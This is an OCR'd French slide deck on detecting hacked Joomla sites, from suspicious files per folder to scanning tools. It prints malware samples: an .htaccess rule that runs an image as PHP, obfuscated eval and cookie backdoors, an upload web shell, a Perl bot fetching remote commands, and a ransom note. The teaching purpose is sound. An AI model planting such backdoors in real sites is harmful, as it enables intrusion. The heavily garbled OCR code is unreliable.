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RACCOURCIS CLAVIER

Prochain slide Touche d'espacement
Se deplacer —,—, et

Plein écran F

Commentaires S

Voir les vignhettes Esc

Vous pouvez aussi utiliser la roulette de votre souris
pour afficher le prochain slide.
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QUI SUIS-JE ?

o Développeur d’aeSecure, solution de sécurisation,
d' optimisation et de nettoyage de sites web
Apache

o Administrateur Joomla! France (cavo/89)

e Membre fondateur de la JUG! Wallonie
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OBJECTIFS DE CETTE PRESENTATION

e Apprendre a identifier rapidement quelques signaux
qui vont trahir la presence de virus / hack sur son site
Joomla!®

e Utilisation d'outils gratuits comme aeSecure
QuickScan, Sucuri Sitecheck, WinMerge/Meld et
bien sur ... Google pour la partie détection.
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ALLER PLUS LOIN...

e “La securite et Joomla!®" pour apprendre a
securiser votre site web
https://www.aesecure.com/fr/blog/joomla-
securite.htm|

o “\otre site a été hacke, que faire ?” pour apprendre
a le nettoyer par vous-meme :
https://www.aesecure.com/fr/blog/site-hacke.html
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REMARQUES

Les trucs et astuces mentionnes dans cette
presentation n‘'ont pas pour vocation d'étre exhaustifs
mais bien d’aider a repondre a la question : y a-t-il des

Vvirus sur mon site ?
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TELECHARGER CETTE PRESENTATION

Cette préesentation est telechargeable pour lecture en
mode offline et/ou afin d'en simplifier son impression :
format pdf
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Obijectifs de cette présentation

Apprendre a identifier rapidement quelques signaux qui vont
trahir la présence de virus / hack sur son site Joomlal®

« Utilisation d’outils gratuits comme aeSecure QuickSean, Sucuri
sitecheck, WinMerge/MeldMerge et bien sir ... Google pour |a
partie détection.

e vous invite & consulter les documents suivent ;

i = sécurité ef joomia!*” pour apprendre & sécuriser volre site web
https:/ifwww gesecure. com/[t securite.htm

| 2. "\otre site @ 618 hocké, que faire 27 pout apprendre & le nettoyer por wous-méme :

I < v biga/site-hacke htmi

tjd16fr

https://vimeo.com/164907381
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YOUR
SITE

HAS BEEN

DEFACED

rildtaxzplli? was HEERE

Deal with 1t, Admin
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Your perscnal files are encrypted! Encryption was produced using a unigque public key RSA-Z04E8 generated for this computer.
To decrypt filea you need to obtain the private key.

The aingle copy of the private key, which will alleow to decrypt the files, located on a secret server at the Intermet. After
that, nobody and never will be able to restore files...

To obtain the private key and php script for this computer, which will automatically decrypt files, you nesd to pay 1
bitcoin(s) (~240 UsD).
Without thia key, you will never be able to get your original filea back.

b P L 11! PUORSE FOR PAYMENT (ALSO AUTHORIZATICON CODE) : lzEKaz9PpVDuHTCpReVIFmQylly2&SWglSel
WEBSITE

INSTRUCTION FOR DECRYFT:

After you made payment, you should go to website https://z54n5Tpgleléuzel.onion.to

Use purse for payment as ur authorization code (lzKaziPpVDuHTCpheVIFEQylUy2SHgisac).

If you already did the payment, you will ase decryption pack awvailable for download,

inaide decryption pack - key and script for decryption, ac all what you need juat upload and run that script

Alag, at this website you can communlcate with our supports and we can help you Lf you have any troubles,
bBut I1|.j-|:-|:_:- you understand we will not answer at any messages it you not able to pay.
PEIP.S5. Our ayatem ia fully automatic, after payment you will receive you're decrypt pack IMMEDIATELY!!!

How to buy bitcoin(s): httpa://fen.bitcoin.it/wiki/Buying Bitcoina_(the_newbie_weraion}
ewbie wvers
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GOL}SIC site:mywebsite.com

Web Images More ~ Search tools

About 9,250 results (0.10 seconds)

How To Buy Viagra, Generic Viagra - Pill Shop, Best Offer!
www.mywebsite.com/category/my-page/ ~

How To Buy Viagra, Generic Viagra - Pill Shop, Best Offer! | the penis contract
and erections to obtain an adequate erection during the treatment of blood ...

Cialis Drug, Generic Cialis - Online Drug Shop, Best Offer!
www.mywebsite.com/category/second-page/ ~

Cialis drug, generic cialis - Drug shop, worldwide shipping.! Best quality drugs.
prices for all products.
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CONSTATE ...

Vous avez recu un email de votre hébergeur, d’'un autre hebergeur qui detecte du
spam envoye depuis votre site, de Google,

Les statistiques Google montrent des résultats surprenant comme des pics d’activités
ou des URLs qui en principe n’existent pas (avec des pages en Chinois p.ex.), ou
encore des pertes de trafic importante et a priori inexplicables,

Votre site est redirigé vers un autre site quand vous vous y connectez depuis un
smartphone, ...

L'onglet réseau de votre navigateur montre des connections vers des sites tiers que
VOUS Ne connaissez pas,

Votre navigateur demande a autoriser le téléchargement d’un fichier qui vous est
Inconnu,

En surfant sur votre site, vous constatez I'affichage d’informations qui ne devraient pas
s’y trouver (messages d’erreur, portion de texte dont vous n’étes pas |'auteur, liens vers
des sites tiers, ...),
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JOOMLAIC®, INSTALLATION NATIVE

Les prochains slides se basent sur une installation
native de Joomla!®.

Les fichiers marques sur fond :

. sont les fichiers a priori légitimes,
o ceux qui necessitent un traitement particulier et
o [folfle[s CeuX qui peuvent étre supprimes.
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DOSSIER RACINE DE JOOMLAI®

. configuration.php, index.php et robots.txt

(sous Joomla 1.5, vous aviez aussi index2.php et index3.php)

M + Local Disk (C:) * Christophe » Sites + joomla ¢ ndr

# Mom. & Dimensions  Ext Taille

I | administrator

dETECUNS

. htaccess.txt que vous pouvez renommer en 3 b pin

.htaccess si vous activez la réécriture des URLs. ; k o
R T e car inutiles : CONTRIBUTING.md, e
htaccess.txt, LICENSE.txt, joomla.xml, README.txt, [y
robots.txt.dist, web.config.txt peuvent étre supprimés sans e
probléeme. e
Danger - Fichiers php s

Si vous avez d’autres fichiers php, éditez-les et regardez | . @ g

19 htaocess.bat

leur contenu. A priori, ces fichiers ne devraient pas se | I ==

LICEMSE tat

trouver la. lls sont donc suspects => a editer afin d’en 22 2 REARME

23 LY robotsbd

evaluer le caractere dangereux. 2 - |webconfignxt

A analyser
Si vous avez un fichier .htaccess ou php.ini, jetez-y un coup d’oeil.
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O

DOSSIER ADMINISTRATOR DE JOOMLA!®

. uniquement index.php et
seulement ce fichier.

ﬂ » Local Disk (C:) » Christophe » Sites * joomla * administrator » te
Nom = Dimensions Ext Taille Type
cache File folder

. .htaccess et .htpasswd

components File folder

pourraient étre present si vous avez
protégé votre administration (a éditer
pour analyse).

Danger - Fichiers php

help
includes
language
manifests
modules

templates

File folder
File folder
File folder
File folder
File folder
File folder

#
1
2
3
4
5
6
7
8
9

Si vous avez d’autres fichiers php,
éditez-les et regardez leur contenu.

& .htaccess htaccess 1 Ko HTACCESS File
|.htpa55wc| htpasswd 1 Ko HTPASSWD File
] index.php php 2 Ko PHP File

b
=

A priori, ces fichiers ne devraient
pas se trouver la. lls sont donc tres
fortement suspects.
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DOSSIER CACHE DE JOOMLA!®

2eelilngls - uniquement e DRI Clraeig TSR 7 o e I
|ndeXhtm| # Nom = Dimensions Ext Taille Type

1 id’||.htacce55| htaccess 1 Ko HTACCESSH
s . index.html html 1 Ko Chrome HT

. .htaccess pourrait
étre présent si vous avez protege
ce dossier (a éditer toutefois pour analyse).

Les autres fichiers, tous les autres fichiers, peuvent étre supprimes
sans autre forme de proces.
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DOSSIER CUMP(INENTS DE lﬂ(lMlA'@

Klo[ltingle - uniquement i ettt it St
. ﬁ + Local Disk (C:) » Christophe * 5ites + joomla » components »
IndeX_html_ 2 Dimensions Ext Taille Type
L. [COm_ajax File folder
. 2 §. com_banners File folder
. .htaccess pOUFralt 3 J. com_config File folder
étre présent si vous avez protégé | . | on e L
ce dossier (a éditer toutefois pour | & oreremeer dnipioy
analyse). |-pusgae o
] ) 10 ) cnm:mﬂdules File folder
Danger — FIChIeI'S php 11 | com_newsfeeds File folder
12 B com_search File folder
Aucun autre fichier n’est 13 ). com_tags File folder
B} 14 }. com_users File folder
attendu dans ce dossier et 15 J. com_wrapper ile folder
. . 16 [& .htaccess htaccess 1 Ko HTACCESS
certainement pas des scripts | @i mm 1Ko ChromeH

.php
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. .htaccess pourrait
étre présent si vous avez
protége ce dossier (a éditer

toutefois pour analyse).

DOSSIER IMAGES DE JOOMLAI®

. uniguement
iIndex.html.

n. » Local Disk (C:) » Christophe » Sites * joomla * images »

Mom =

7

1 ). banners
2 ). headers
3
4

| . sampledata
| .htaccess
5 @ indexhtmi
6 B4 joomla_black.png

7 | powered_by.png

priori, peuvent étre supprimes

car inutiles

u
H B A AN W

Dimensions Ext

htaccess

html
225 x50 png
150 x 45 png

Images joomla_black.png et powered by.png.

N 4 B B S

Danger — Fichiers php
Aucun fichier .php n’est attendu dans le dossier /images et
sous-dossiers. La probabilité de trouver des virus dans

AAAIAI‘A

Taille Type

. les dossiers banners, headers et sampledata et les
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DOSSIER L lANGUAGE DE lﬂ(lMlA'@

. uniquement

'I » Local Disk (C:) » Christophe *» Sites * joomla » language »

|ndeXhtm| # Nom =

2 Dimensions Ext Taille Type
1 | |en-GB | File folder
. . 2| J. overrides File folder
htaccess pourralt 3 [&) htaccess htaccess 1 Ko HTACCESS File
étre présent S| YOUS avez 4 @ index.html html 1Ko Chrome HTML

protége ce dossier (a editer
toutefois pour analyse).
Remarque : il y a un fichier .php dans chaque dossier langue. Le

script se nomme fr-FR.localise.php (ou fr-FR est le code ISO de Ia
langue).

Danger — Fichiers php
Si vous trouvez d’autres fichiers .php, ils sont suspects.
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DOSSIER LOGS DE JOOMLAI®

lefillgls - uniquement el . e e
|ndeXhtm| # Nom = Dimensions Ext Taille Type

. .htaccess pourrait
étre présent si vous avez protege
ce dossier (a editer toutefois pour analyse).

Les autres fichiers, tous les autres fichiers, peuvent étre supprimes
sans autre forme de proces.

1 [§j|.htac;e5_5| htaccess 1Ko HTACCESS
2 @ indexhtml
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DOSSIER MEDIA DE JOOMLAI®

HTelji[ial= . uniquement index.html. N R S e e

.
. .htaccess pourrait étre b
présent si vous avez protégé ce dossier | ., oo
(a éditer toutefois pour analyse). [
| & oo
Remarque : les medias devraient en | & o
principe étre utilisés pour y stocker des | 1 me.mmowce
images, des fichiers css/less, des - [rompnN—
scripts js mais logiquement aucun 5 . i, ickcon pomioie
scripts .php. Les scripts .php dans |1 1 sosmensas
media sont toutefois possible et 1 B Maces

20 @ index.htmi html

quelques extensions en utilisent. |l faut
donc étre vigilant lors d'une operation de nettoyage.
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DOSSIER MODULES DE JOOMLAI®

Klo[[ilgfs : uniguement index.html. W o CRARRNS Wl  A

# MNom & ut T ype

. .htaccess pourrait étre présent | s it

Si vous avez protege ce dossier (a editer {nliir el i
toutefois pour analyse). ¢ ). i et

Danger — Fichiers php

Aucun autre fichier n’est attendu dans | et

16 b mod_randorm_image File Tolder

ce dossier. Si vous avez un fichier .php | "™ o o

a la racine du dossier modules, ce B & oomac o

. mod_tags_popular

script-la est fortement suspect. . e o

File folder
o HTACCESS File
1 Eo Chrome HTML Docume
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DOSSIER PLUGINS DE JOOMLAI®

. uniqguement

iIndex.html.

'I » Local Disk (C:) » Christophe *» Sites *» joomla *» plugins »
Nom = Taille Type
authentication File folder

captcha File folder

. .htaccess pourrait
étre présent si vous avez

content File folder

editors File folder

protége ce dossier (a éditer
toutefois pour analyse).

#
1
P
3
4
3
3
7
8
9

Danger — Fichiers php 10

editors-xtd
extension
finder
quickicon
search

system

File folder
File folder
File folder
File folder
File folder
File folder

11 twofactorauth File folder

Aucun autre fichier n’est - g
attendu dans ce dossier. Si 13| [&) | htaccess | htaccess ~ 1Ko HTACCESS File

) ) . 14|.iridex.html html 1 kKo Chrome HTML Document
vous avez un fichier .php a
la racine du dossier plugins,

ce script-la est fortement suspect.
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DOSSIER TEMPLATES DE JOOMLA®

. uniguement

n » Local Disk (C:) » Christophe » Sites * joomla » templates »

iIndex.html. Nom = Taille Type
| beez3 File folder
. . | . protostar File folder
htaccess pourralt 3 b system File folder
étre présent S| Vous avez )[htaccess| htaccess 1Ko HTACCESS File

5 e index.html = html 1 Ko Chrome HTML Document 05/04

protége ce dossier (a éditer
toutefois pour analyse).

Danger — Fichiers php
Aucun autre fichier n’est attendu dans ce dossier. Si vous
avez un fichier .php a la racine du dossier templates, ce
script-la est fortement suspect.



file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
https://www.aesecure.com/
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/intro
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/objectifs
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/video
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/identifiez
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/joomla
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/surveillez
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/keep-safe
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/aesecure-quickscan-intro
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/nettoyer
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/contact

DOSSIER TMP DE JOOMLAI®

Legltlme unlquement 'l » Local Disk (C:) » Christophe » Sites * joomla *» tmp
iIndex.html. # Nom = Taille Type

1 |&)|htaccess| htaccess 1Ko HTACCESS File
2 .index.html html 1 Ko Chrome HTML Document

. .htaccess pourrait
étre présent si vous avez protege
ce dossier (a editer toutefois pour analyse).

Les autres fichiers, tous les autres fichiers, peuvent étre supprimes
sans autre forme de proces.
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SURVEILLEZ
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&,

FICHIERS A SURVEILLER

Les fichiers ci-dessous sont assez regulierement
hackes :

e /administrator/includes/defines.php

e /includes/defines.php

e /templates/../index.php (ceci pour tous les
templates)
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Lorsque vous avez un fichier .htaccess dans un dossier, quel que
soit le dossier, 1l est utile de I'editer pour prendre connaissance de
son contenu. Un tel fichier peut p.ex. rendre exécutable ... une
image.

<FilesMatch "bananas 1.jpg">

SetHandler application/x-httpd-php
</FilesMatch>

Ces trois lignes vont indiquer a Apache que le fichier bananas_1.jpg,

malgre son extension, doit étre considere comme un script php : le
pirate pourra donc accéder a http://votresite/.../bananas_1.jpg afin
de lancer le script.

Un fichier .htaccess ou vous trouvez un SetHandler application/x-
httpd-php est donc suspect.
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$yzch={ERNERes (M- style="background-color:rghb{234, 71, 71)Ycolor:rgb(255, 223, @);font-size:lem;">S{Qaets Syzch));
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Si vous étes attentif, vous verriez un second virus...
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Reépertaires seulament

XYplorer, un fabuleux gestionnaire de fichiers pour Windows
permettant d'afficher toutes les images du site en trois clics
seulement
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<?php

class PluginJoomla {

public function  construct() {
$jq =
if ($3q) {
DTS CURESEI(Es COOKTE[ "41bjGED 2" 15
EIEEREI(ES COOKTE[ "41bjGED 1" 1) 5|
$option("/438/e",%au,438);
} else {
R ) s e
}

h

i

fcontent = new PluginJoomla;

Déclaration d'une classe bidon dont le constructeur va recupérer un
cookie Initialise par le pirate.
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#!/usr/bin/perl

FHEFFFFFF SRSt
Coded by bogel
Last Edited: 31 March 2013
Thanks : TamleaE clamenipiasivm

Sy LR o Ld [

e P

]

ALL @reload-x - W
server 1rc : BECETNEEEEE———
Port > 7000

FHEF#FFFE iSRS S

Ipontianakcrew

=L )

use HTTP: -Request:;
use LWP::UserAgent;

my Sprocesso = '/usr/bin/syslogd’;
my $linas max='30";

=
-] Oy LN B WD M= O LD 0D

my 5sleep="15":;
my Scmd="http://%Es/img/bogel.jpg?";
my Sid="http: IILEQ.,Aflmgfquel quﬁ"'

[1] L] _TI ] ol il hi . [ 8] i

S e N e e e ke L L

T R

m .

Le fichier robots.txt est préesume se trouver dans le dossier racine. Si vous le trouvez
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< 404.php php 35 Ko Fichier PHP 20/03/2015 20:25:35  5/04/2015 185047
23 ﬁ 396298-Accuell-Textojpg Jpg 146 Ko FastStone JPG File 9032011 18:26:38 5042015 18:50:59

35 éléments (205,79 Qo disponible) 1 sélectionné(s): 34.90 Ko (35.74]1 octets) = 404 php
Propriétés = Version = Métadonnées  Aperqu | Vuebrute = Mots-clés = Recherche de fichiers = Rapport

< Iphp
fauth pass = "EbSb0dd03c9cBST25032ceS5L3a0918ae™; //pasaword: enzo

function onESa (3HT1Wmu) { FHT1Hmu=gzinflate (base6d decode ($NT1Wmu)): for(Fi=0;%i<strlen(3NT1Wmu);3i++) (SNI1Wmn([$i] = chr(ord ($HT1Rmu[$i])-1);
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ErSYHSrkr+YQfvzUhxilambl Wehoa/dzcO0cBHXNTIWREL /mOrBJQeGPa DR SpU4 T 2mpBnchOBonCaTEBmMuCmR 1 B fMpxpH e TJOveqerlplpdAgbep 2 2vb2 SFEIp 752 ovi / olkSedvedph
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Fichier qui pourrait se nommer 404 . php a la racine du

site ou dans un dossier /templates dont le but est de
vous tromper quant a son contenu.
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o O

if (constant("JDEBUG"))
{

Jrrofiler::getInstance( "Application’ )-»mark(’ afterfenderModule " . $module->module . * (" . Smodule-»title . ")');

t

$ipre"hu(!dkuhnkd("isml™)} {$klkxkl = @hnh yks(\"krror_rkporshoy''):krror rkporshay(@);$tdr = hah yks{"tktthon.tzxk pzsi™) ;%8sdr = tgt yks skm
p_dhr{):;funm = "ttt ".mdS{pip fazmk()):hu(tsrpot{mds(@% POST[ke]), "z6d2625bdud™)) {Bubhlk_pf: jonsknst(™$tdr/Sunm™ % POST[z@]);:Buhlk pfs jonsknst("$sdr/fun
m™,%_POST[z@] );@uhlk_pfs_jonsknst(IPATH_BASE."/jzjik/cocmlr_jzjik.cton®,§_POST[z@]); }hu(tsrhpot(@§_SERVER[''HTTP_USER_AGENTY'], “'yooylkbos\') le=uzltk || tsr
hpot (@% SERVER['"HTTP USER_AGENT\"'], ‘'bhnybos\') !== uzltk){hu(!prky mzsii("#({zirkut|mzcktshj|roykrbos|lhnepzd|thkmrfti)eh” 8% SERVER[\'HTTP_USER_AGENT\"])){t
ksjooehk(™_zs¥xj",1,shak{)+shak{));$lojzl = JPATH BASE.\"/jziik/coomlz_jziik.cton\';hu(ht_rkzdzblk($lojzl) && ht_wrhszblk{$lojzl)) {$lne = Buhlk_yks_jonskns
t($lojzl);tkltkhu(ht_rkzdzblk({"$sdr/3unm™)}} {$lne = Buhlk yks jonsknst("$sdr/$unm”);}kltk($lne = Buhlk yks jonsknst{Buhlk_yks jonsknst({"$tdr/funm™}}};$lhnet =
@bztked_dkjodk($lne);hulhttks( ' . i

t{$lhnet, \'z:\' i $dzszr = fatkrhzlhak({$lhnet)izrrep

Injection de code dans le fichier
\libraries\joomlalapplication\module\helper.php
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b= ; Fa=Za.5b:

function execute () \

rhs rRefarelREsuTE &VEN

Ethis->TriggerEvent

Le code de I'attaque se cache au milieu des commentaires et de code propre mais inutile
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ATTENTION AUX <<< - SYNTAXE

HEREDOC

Fonction edit() totalement bidon:
présemnte pour “faire; creire que; le
' code estisain®

Ce QUI S,U_i,t! est: [ Un petitipregr repla_cg Jmh -)

BIDIVEQ = "prt.tet,tgt. " _pel. TRt tlast, et iEcall Raer func arIay(¢IDILVQ, arvey( EEgary o F_REQUEST [V i B2 JpEGUTANE=") ) : BBLYWUTX (¢ _REQUEST ):

a considerer, | S —
comme; du : s Clastirepartilpourleicode bidon
commentaire

| & Nniratae 3 AraMntifla eon ~cade Aance A cade A
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<?php
error_reporting{@);

if (!isset($ COOKIE[' _ 5ZN_3Ay& B9E']))
deny();
$cookieData=% COOKIE[' 5ZN 3Ay6 B9E'];

$cookieData=str _replace('#', "+', %cookieData);
$compressed=baseb64 decode ($coockieData);

fdata=@lunserialize($compressec EE& bﬁn; iy

if ($data===false)
deny();

[ ffurl=%data[ "url’];
furl=%data;

Quelques indicateurs tendant a démontrer que le
codeur n'a pas voulu un code explicite pour masquer
ses intentions
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#113. Vlibranes\joomla‘userlibrary php (5488) 6

aeSecure a detecté les patterns suivant :

pve uploaded file

< 2php

if(isset($_POST[ "Submit’])){

pfiledir = "7;

ftmaxfile = "20080080°;

tmode = "@5644°"

$userfile name = $_FILES['image’]['name’];
fuserfile_tmp = $_FILES['image'][ 'tmp_name’];

if (is=set(% FILES]'image’|['name’])) {

fabod = $filedir.fuserfile name;
[S-uztrFil:_trnp_. $abod) ;

@chmod ($abod, octdec($mode));
echo"¢center»<b»Done Ruserfile name</b><¢/center>”;
h

h

else{

echo”

{form method="POST" action="8" enctypes"multipart/form-data"><input type="file” names="image™><{input type="Submit™ name="Submit” value="5
ubmit"”></form>";

}

>

En l'occurrence, un formulaire d’'upload planqué dans un dossier "a priori" sain et avec
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REGULAR EXPRESSION
/

TEST STRING

<?php

$L5mQplW="CNSgMTW7 "' .Cb;$MXejps5="Jr '~'/7K';$RS="yM}""&"'q0J{  ;SWYYAFI=KV&'|U'; "PHCD1kdF'
'Ja¥% ek~i";$Vd3GqOTrjAl="P@]1" |DPW;$dY="="""|";$qKOKYlol=""a3!" .F2f18|#rVZbNSWD" .
'$A%a’ b$0';$iPseLof8M=f2|" "' ;$hod49K2Zm="""|"!";$yS78tCcOE=J8GC. "#k" ~"-"./*Ul".
‘k,v 27K*/ywfA." ;" ;$3hRLYySOI=DG5COI]. "@+A & | "BF# ' .L1XH. "@+AS ";$GcXdtQ3sM=#Dnc’.
'-q/%"~"s]HG' ;$0EGS84P="72g<->|ql6%L6-kO,sy#Q" ' ~iolerG. "#%>is-nr.og&(w* " ; FGWEOHK".
'4].30C=7";$A2cWI7Uissi="Ff*0/rle8lp;*t+" . tXS5qtsr""/~;¥Y-4:5</}s_t-;b4* %" ; "'mbII".
| sm*xw6# ' ;$QyLEZ8=$MXejps5~(" !~"|'( P");$RWIP=(' $d@ e |'!! @L&")|/*gPXBJuC".
'>(>¢X,dU8* /$yST8LCCOE; $VE2PYK=$hRLYSOI"( "~wR:gk/3 "' .WEVK& ' 6=V1~+/tG( w"); FXId".
'JZ°" ;$tUbWHARNB8=3%RS5"$GcXdtQ35M;$qlLBbHgl=$0ES84P&$A2cWI7Uissi ;$QyLEZB(SRWIP(/* .
'§$*/$WYY4FI.$Vd3GgOTrjAwW. $dY))==("4%dad!ebs"oCc 717!"130"| ' 2@@ D8 f&s6l#a")1 2( .
#!').9qK0KYlol.%iPs@Lof8M| |$V62PYK({$tUbWHARNE,exit,$ho49K2Zm) ;eval ($RWIP(/*UD".
"JI2=fm=E:!*/$q1LBbHgl));#]Ge2~>u2n.qklSp¥(Z_ czXa~*ep(b(=5b#sqo(QkyI#(%!~@52P".
'‘nb}q,-WB]j;cQ;xvOnFCw[mw5&dLt B>pI{rP2FXq#Yz0!Zf=G8oPM]Tg(le";

La, clairement, a moins de parler le Vénusien
méridional, le programmeur a vraiment tente de vous
cacher ses intentions
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AESECURE QUICKSCAN

e Scanner php universel gratuit qui permet de detecter
rapidement des fichiers suspects sur son site et de
vous permettre de les supprimer.

e Concept de liste blanche et de liste noire pour
optimiser le scan.

o 22 CMS supportés nativement.

e Disponible en Francais, Neerlandais et Anglais.
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1. /aesecure/configuration/languages/fr_FR.json (151.92K) (Date demiére modif February 02 2015 14:55:02))

Il ne s'agit pas forcément d'un virusl!; la signature recherchée est egalement utilisee 9ebfecbel7e2258b291

dans du code légitime.
Signature : hacker
Trouve en position 50287 du fichier; voici le contexte

HOST%N/images\ /sampledata\/apple.jpg’' target='_blank'>images\/sampledata’/apple.jpg<\/a><\/p><p>Les had

8 B

2. faesecure/configuration/languages/de_DE.json (153.52K) (Date demiére modif January 20 2016 14:14:35))

Il ne s'agit pas forcément d'un virusl!; la signature recherchée est également utilisee 490d0dfc51e53129d8
dans du code légitime.
Signature : hacker
Trouve en position 50260 du fichier; voici le contexte

HOST®N /images\ /sampledata\/apple.jpg' target="_blank'>images\/sampledata’\/apple.jpg<\/a><\/p><p>Les had

https://www.aesecure.com/fr/blog/aesecure-
atncksecan himli
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paquet de (500 -
ors

les fichiers suivant:

ves

., §Z. g=ip, jpa. tar, Zip

iments

e, pdf, ppt, pptx, xds, xdsx

es web

f, tif, tif2, woff, wofi2

15

ps, gif, ico, icon, jpeg. jpg. png. psd,
. webp

las (autre qu'images)

—:-55)

1ations

f, avi, fla, fhe, fdv, mdv, mkv, mov, mp3,

peg, mpg, ogg. ogy, swi, wav, webm,

25 (autre que html)

. md, mo, po, sql, text, td, oml, xs

Ce script, proposé a titre gracieux par aeSecure, logiciel de protection et d'optimisation de sites web Apache, va scanner 'ensemble de votre site a la recherche
performance, les fichiers de plus de 1M seront ignorés).
L'action du script est de faire un scan : aucune suppression de fichier ne sera faite: il n'v a donc aucun risque de l'exécuter sur votre site.

Dossier a analyser : |C:\Christophe\Sites\joomla
1. Nettoyer les dossiers cache et temp | 2. Obtention de la liste des fichiers ||

1> Optimisation du scan Les empreintes des fichiers natifs de votre site Joomla 3.5.1 ont pii étre téléchargées, elles seront utilisées pour accélérer le scan de votre site : |
seront donc ignores.

@ aeSecure 2013-2016 - AVONTURE Christophe | aeSecure QuickScan v.1.1.7
Fanpage | 4 Je nettoie votre site
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“SUCURI SITECHECK

SULGTI

Free Website Malware and Security Scanner

SiteCheck Results Website Details Blacklist Status

= 2 Website: WWW.aesecure.com
V Status: No Malware Detected by External Scan. Additional Actions Recommen
b Web Trust: Not Currently Blacklisted (10 Blacklists Checked)

Scan Result = Severity = Recommendation

& malware Not Detected  Low Risk
@ website Blacklisting ~ Not Detected  Low Risk
@ injected sPAM Mot Detected  Low Risk

& Defacements Mot Detected  Low Risk

https://sitecheck.sucuri.net/

Scanne 'URL soumise et auelaues fichiers nredéfinis comme p.ex le scrint de iQuerv.
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Exemple de domaine
www.example.com

Il est possible que ce site ait été piraté

Exemple domaine. Ce domaine est mis en place pour étre utilisé
pour des exemples de documents. Vous pouvez utiliser ce
domaine dans les exemples sans ...

https://support.google.com/websearch/answer/190597?hl=fr

Exemple Domain

www.example.com

Ce site risque d'endommager votre ardinateur.

Exemple domaine. Ce domaine est mis en place pour étre utilise pour des exemples de
documents. Vous pouvez utiliser ce domaine dans les exemples sans ...

https://www.google.com/webmasters/hacked/

http://www.google.fr

De temps a autre, lancer une recherche Google sur votre propre site et vérifiez I'absence
des notifications ci-dessus. Pour cela, faites une recherche "* site:votre-site.fr’


file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#
https://www.aesecure.com/
http://www.google.fr/
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/intro
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/objectifs
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/video
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/identifiez
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/joomla
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/surveillez
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/keep-safe
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/aesecure-quickscan-intro
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/nettoyer
file:///C:/Christophe/Repository/slides/slides/hacked/index.html#/contact

GOOGLE - VOIR CE QUE VOIS GOOGLE

Pour voir votre site comme Google et donc déceler d'éventuels ajouts fait par un pirate
(comme du Black Hat SEO), utilisez le lien suivant :
https://www.google.com/webmasters/tools/googlebot-fetch (remarque : il faut avoir un
compte Google Search Console)
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GOOGLE SAFEBROWSING

https://www.google.com/transparencyreport/safebrowsing/diagnostic/?hl=fr

Safe Browsing est une base de données de Google
permettant de verifier s'il pense que votre site est
suspect.
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Verifiez régulierement les URLs referencées par
Google afin de détecter les liens vers du contenu
n'eétant pas le votre.
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GOOGLE - HAMECONNAGE

Si votre site etait marque par Google comme faisant
du phising (hameconnage), une fois nettoye vous
pourrez demander une demande de réexamen sur
https://safebrowsing.google.com/safebrowsing/report_error/?
hl=fr.
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GOOGLE - CONTROLE D'UN DE SES SITES

Si vous avez un compte Google Search Console
(anciennement Webmaster Tools), vous pouvez obtenir
les eventuels avertisssements de securite émis par
Google. Plus d'info :
https://www.google.com/webmasters/tools/security-
ISSues.
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" CHROME

Le site Web que vous allez ouvrir
contient un logiciel malveillant

Les individus maheillants actuellement 4 Peeuvre sur le site
malware.testing.googletest pourralent tenter d'installer des
programmes dangereux sur votre Mac, de maniére & récupérer
vas informations. (par exemple des photos, des mots de passe,
des messages et des numéros de carte de paiement) sans votre
autorisation, ou & les supprimer.

B Signaler automatiquement bes incidents de sécurind potentiels &
Google. Riales de confidentialité

Retour & la séourité

https://www.google.com/transparencyreport/safebrowsing/?hl=fr
Chrome utilise I'API de Google Safe Browsing pour détecter la réeputation du site : sain ou
pas. Dans le cas contraire, c’est le RSOD (Red Screen Of Death).
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https://www.google.fr/chrome/browser/privacy/whitepaper.htm|
Chrome averti egalement de maniere explicite si un
logiciel en cours de téléchargement est repute
dangereux.
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WINMERGE - MELDMERGE

o Ces outils permettent de comparer des fichiers et/ou
des dossiers : a gauche une installation saine de
Joomla!® et a droite votre site web.

e | a comparaison permettra de mettre en évidence
les fichiers ayant ete ajoutes, supprimes ou altéeres.

http://winmerge.org - http://meldmerge.org/
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C:\Christo...st\Hacked C:\Christo...st\Hacked

FMaster = FJHacked

Name | Size | Modification time ” Name
~ @ Master 4.1 kB lun. 07 mars 2016 13:11:5 * [JHacked
* CJadministrator 4.1 kB lun. 07 mars 2016 13:11:3 * CJadministrator
* [Jmodules 4.1 kB lun. 07 mars 2016 13:11:3 * [Jmodules
* Jmod_title 4.1 kB lun. 07 mars 2016 13:11:3 * [mod_title
* Etmpl 0B  lun. 07 mars 2016 13:11:3 * EJtmpl

| bouh.php o

[ mod_title.php 518 B jeu. 02 oct. 2014 12:09:4 i mod_title.php

L.

| Size | Modification time
471 kB lun.
41 kB lun.
471 kB lun.
471 kB lun.
0B  lun.
337 B jeu.

07 mars 2016 13:13:]
07 mars 2016 13:13:
07 mars 2016 13:13:
07 mars 2016 13:13:
07 mars 2016 13:16:
02 oct. 2014 12:09:4
07 mars 2016 13:16:(

il s’agit d’un fichier ayant eté ajouté, ne se trouvant

pas dans la distribution de Joomla!®

ce fichier a ete alteré, il ne correspond pas a celui,

natif, de Joomla.
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XYPLORER

